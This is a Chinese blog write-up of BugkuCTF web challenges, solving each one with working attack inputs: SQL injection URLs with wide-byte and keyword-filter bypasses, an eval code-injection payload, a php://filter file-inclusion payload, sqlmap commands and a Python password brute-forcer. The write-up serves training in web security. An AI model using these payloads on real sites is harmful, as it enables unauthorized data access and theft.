1. 程式人生 > >BugkuCTF——web篇writeup(持續更新)

BugkuCTF——web篇writeup(持續更新)

BugkuCTF——web篇writeup

平臺網址:http://ctf.bugku.com/

平臺首頁:


web2

網址連結:http://120.24.86.145:8002/web2/

頁面:


一看只有好多滑稽,分數也不太高,應該不是很難,F12開啟開發者工具看一下


得到ctf:flag KEY{Web-2-bugKssNNikls9100}

檔案上傳測試

連結:http://103.238.227.13:10085/



一看是檔案上傳測試,是檔案上傳的問題,看一下要求:

1、請上傳PHP檔案

2、檔案上傳大小不允許超過1M

先上傳php檔案試一下


發現提交後報錯,說是非圖片檔案,那就再上傳  接下來就覺得前端驗證是圖片字尾的驗證,上傳到伺服器時分析的是php檔案,不說了  用%00截斷或者00截斷試試

開啟burp抓包工具——設定代理——抓包


上傳的是一個222.png圖片,這時候最好別直接上傳php的檔案用%00 可能存在對檔案的內容解析  導致上傳失敗

最後得到flag:Flag:42e97d465f962c53df9549377b513c7e

計算器

連結:http://120.24.86.145:8002/yanzhengma/



我們計算一下提交

發現只能輸入一個數字,肯定是對提交的內容做了長度限制,開啟開發者工具把長度改一下


因為計算結果為18  長度改為2


得到flag:flag{CTF-bugku-0032}

web基礎$_GET

連結:http://120.24.86.145:8002/get/


發現是很簡單的程式碼  提交的資料(get方式)只要what=flag就行


flag:flag{bugku_get_su8kej2en}

web基礎$_POST

連結:http://120.24.86.145:8002/post/




這裡用一下火狐的外掛hackbug


得到flag:flag{bugku_get_ssseint67se}

矛盾

連結:http://120.24.86.145:8002/get/index1.php

讀一下程式碼  判斷輸入的num  如果不是數字的話且為1的話輸出flag  應了題目的話  自相矛盾,  但是我們有很多方法讓num為1但是不是數字  比如num= 1e0.123


得到flag:flag{bugku-789-ps-ssdf}

web3

網址:http://120.24.86.145:8002/web3/



開啟網頁之後發現一直彈出這個框  是不是特別煩  直接個禁止了


然後就是一片空白  一片茫然啊  f12看一下


發現一串很特別的東西  百度一下這是什麼碼

二話不說  直接貼上到瀏覽器上一回車發現flag就出來了



直接就出來了

flag:KEY{J2sa42ahJK-HS11III}

sql注入

連結:http://103.238.227.13:10083/


很明顯  查詢key表,id=1的string欄位

構造payload:http://103.238.227.13:10083/index.php?id=-1%20union%20select%201,string%20from%20%27key%27%20#


發現沒有出來  怎麼什麼都沒有了  繼續重頭開始  看一下是什麼注入


發現id=1和id=1’都沒錯  想起了寬位元組注入  試一下


果然  那麼就好了構造payload:http://103.238.227.13:10083/index.php?id=1%df%27 union select 1,string from 'key'#


報錯  是引號的問題  那試一下另一種引號

http://103.238.227.13:10083/index.php?id=1%df%27 union select 1,string from `key`#

這種引號在tab鍵的上面


發現還報錯  想起了是#的問題  把#改成%23


得到flag:54f3320dc261f313ba712eb3f13a1f6d

sql注入1

連結:http://103.238.227.13:10087/

目錄(?)[+]

訪問引數為:?id=x

查詢表為key的資料表,id=1值hash欄位值


  1. 以下是其中一段程式碼  
  1. //過濾sql  
  2. $array = array('table','union','and','or','load_file','create','delete','select','update','sleep','alter','drop','truncate','from','max','min','order','limit');  
  3. foreach ($array as $value)  
  4. {  
  5.     if (substr_count($id, $value) > 0)  
  6.     {  
  7.         exit('包含敏感關鍵字!'.$value);  
  8.     }  
  9. }  
  10. //xss過濾  
  11. $id = strip_tags($id);  
  12. $query = "SELECT * FROM temp WHERE id={$id} LIMIT 1";  

首先我們看到這道CTF題的時候  通過程式碼審計,我們可以知道它過濾了很多關鍵字,這樣一來我們不知道怎麼下手,但是它又給出了一段程式碼,這段程式碼如果你不注意的話就可能認為是多餘的,但是它這段程式碼就是提示

我們通過百度查一下strip_tags()這個函式的作用

定義和用法

strip_tags() 函式剝去字串中的 HTML、XML 以及 PHP 的標籤。

註釋:該函式始終會剝離 HTML 註釋。這點無法通過 allow 引數改變。

註釋:該函式是二進位制安全的。

語法 strip_tags(string,allow)

剝去字串中的 HTML 標籤,但允許使用 <b> 標籤:

<?php
echo strip_tags("Hello <b><i>world!</i></b>","<b>");
?>
知道原理後,那麼我們就可以直接構造payload了構造如下http://103.238.227.13:10087/index.php?id=-1 un<br>ion sel<br>ect hash,1 fr<br>om `key`#最後結果如下:

SQL注入測試

訪問引數為:?id=x

查詢表為key的資料表,id=1值hash欄位值

以下為其中一段程式碼:

//過濾sql
$array = array('table','union','and','or','load_file','create','delete','select','update','sleep','alter','drop','truncate','from','max','min','order','limit');
foreach ($array as $value)
{
	if (substr_count($id, $value) > 0)
	{
		exit('包含敏感關鍵字!'.$value);
	}
}

//xss過濾
$id = strip_tags($id);

$query = "SELECT * FROM temp WHERE id={$id} LIMIT 1";
			

當前結果:

idc3d3c17b4ca7f791f85e#$1cc72af274af4adef
title1

得到 flag:

c3d3c17b4ca7f791f85e#$1cc72af274af4adef

本地包含

連結:http://120.24.86.145:8003/


分析出hello這個post/get獲取的引數值很重要($_REQUEST對get,post都能接受)

看一下  直接構造payload就行了  這裡用了一個知識

http://120.24.86.145:8003/index.php?hello= 1);print_r(file("./flag.php%22")

就相當於:eval( "1);print_r(file("./flag.php%22")"); 


flag:flag{bug-ctf-gg-99}

變數1

連結:http://120.24.86.145:8004/index1.php



一個變數,當變數符合要求時輸出flag  首先得知args這個變數是七個字元的  想起了全域性變數  GLOBALS


得到flag:flag{92853051ab894a64f7865cf3c2128b34}

web5

連結:http://120.24.86.145:8002/web5/



隨便輸個東西提交


發現什麼都沒有  抓包試試


發現出來一種碼  直接用瀏覽器自帶的工具  開發者工具裡的console解碼


然後回車


flag:ctf{whatfk}

頭等艙

連結:http://120.24.86.145:9009/hd.php


開啟之後  發現現實什麼也沒有  開啟原始碼看一下


發現有隱藏的元素  所以直接抓包


得到flag:flag{Bugku_k8_23s_istra}

web4

連結:http://120.24.86.145:8002/web4/


讓檢視原始碼  我們舊檢視原始碼  在原始碼裡找到一段指令碼  用js跑一下


解析後得到:

function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a){if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElementById("levelQuest").onsubmit=checkSubmit;

說如果我們提交的內容是67d709b2b54aa2aa648cf6e87a7114f1就可以得到flag試一下


KEY{J22JK-HS11}

flag在index裡

連結:http://120.24.86.145:8005/post/



點選下發現什麼都沒有 不過題目都說了  flag在index裡  所以可以直接構造payloadhttp://120.24.86.145:8005/post/index.php?file=php://filter/convert.base64-encode/resource=index.php

得到一串碼



    
PGh0bWw+DQogICAgPHRpdGxlPkJ1Z2t1LWN0ZjwvdGl0bGU+DQogICAgDQo8P3BocA0KCWVycm9yX3JlcG9ydGluZygwKTsNCglpZighJF9HRVRbZmlsZV0pe2VjaG8gJzxhIGhyZWY9Ii4vaW5kZXgucGhwP2ZpbGU9c2hvdy5waHAiPmNsaWNrIG1lPyBubzwvYT4nO30NCgkkZmlsZT0kX0dFVFsnZmlsZSddOw0KCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpew0KCQllY2hvICJPaCBubyEiOw0KCQlleGl0KCk7DQoJfQ0KCWluY2x1ZGUoJGZpbGUpOyANCi8vZmxhZzpmbGFne2VkdWxjbmlfZWxpZl9sYWNvbF9zaV9zaWh0fQ0KPz4NCjwvaHRtbD4NCg==

base64解碼

<html>

    <title>Bugku-ctf</title>
    
<?php
error_reporting(0);
if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file); 
//flag:flag{edulcni_elif_lacol_si_siht}
?>
</html>
<þfl>

得到flag{edulcni_elif_lacol_si_siht}

輸入密碼檢視flag

網址:http://120.24.86.145:8002/baopo/




一看是讓輸入5位數字密碼  而且url就告訴你了讓我們用爆破  那就爆破白  密碼時從00000到99999一共十萬個

用phthon吧  慢慢爆破  雖然有點慢

#coding:utf-8
import requests
url='http://120.24.86.145:8002/baopo/?yes'
value=[]
for i in range(0,99999):
    if(len(str(i))<5):
        value.append("0"*(5-len(str(i)))+str(i))
    else :
        value.append(str(i))
data = {'pwd':00000}
content = requests.post(url,data=data)
content.encoding='utf-8'
patch=content.text
for i in value:
    data = {'pwd':i}
    print  ('嘗試密碼:',i)
    content = requests.post(url,data=data)
    content.encoding='utf-8'
html=content.text
    if html != patch:
        print (html)
   


最後爆出密碼為13579  輸入即可得到flag

flag:flag{bugku-baopo-hah}

點選一百萬次

連結:


開啟之後是下面這個樣子


什麼也看不出來  F12分析下原始碼:


有一個post提交的資料  那就構造一下唄


得到flag:flag{Not_C00kI3Cl1ck3r}

成績單

連結:http://120.24.86.145:8002/chengjidan/


這個一看應該是SQL注入  先提交一個數據看看


發現有一個post資料  那就利用這個資料注入白

先抓包


然後點選action——>從copy to file

我儲存在了   D盤3333.txt

開啟sqlmap


得到當前使用資料庫skctf_flag

爆表sqlmap -r "D:\3333.txt" -p id --table -D "skctf_flag"


爆f14g的列


爆欄位


得到flag:BUGKU{Sql_INJECT0N_4813drd8hz4}

phpcmsV9

連結:http://120.24.86.145:8001/

看到這句話  想都沒有想  直接掃描了下目錄裡的txt檔案


根目錄下存在flag.txt

直接開啟:



flag{admin_a23-ae2132_key}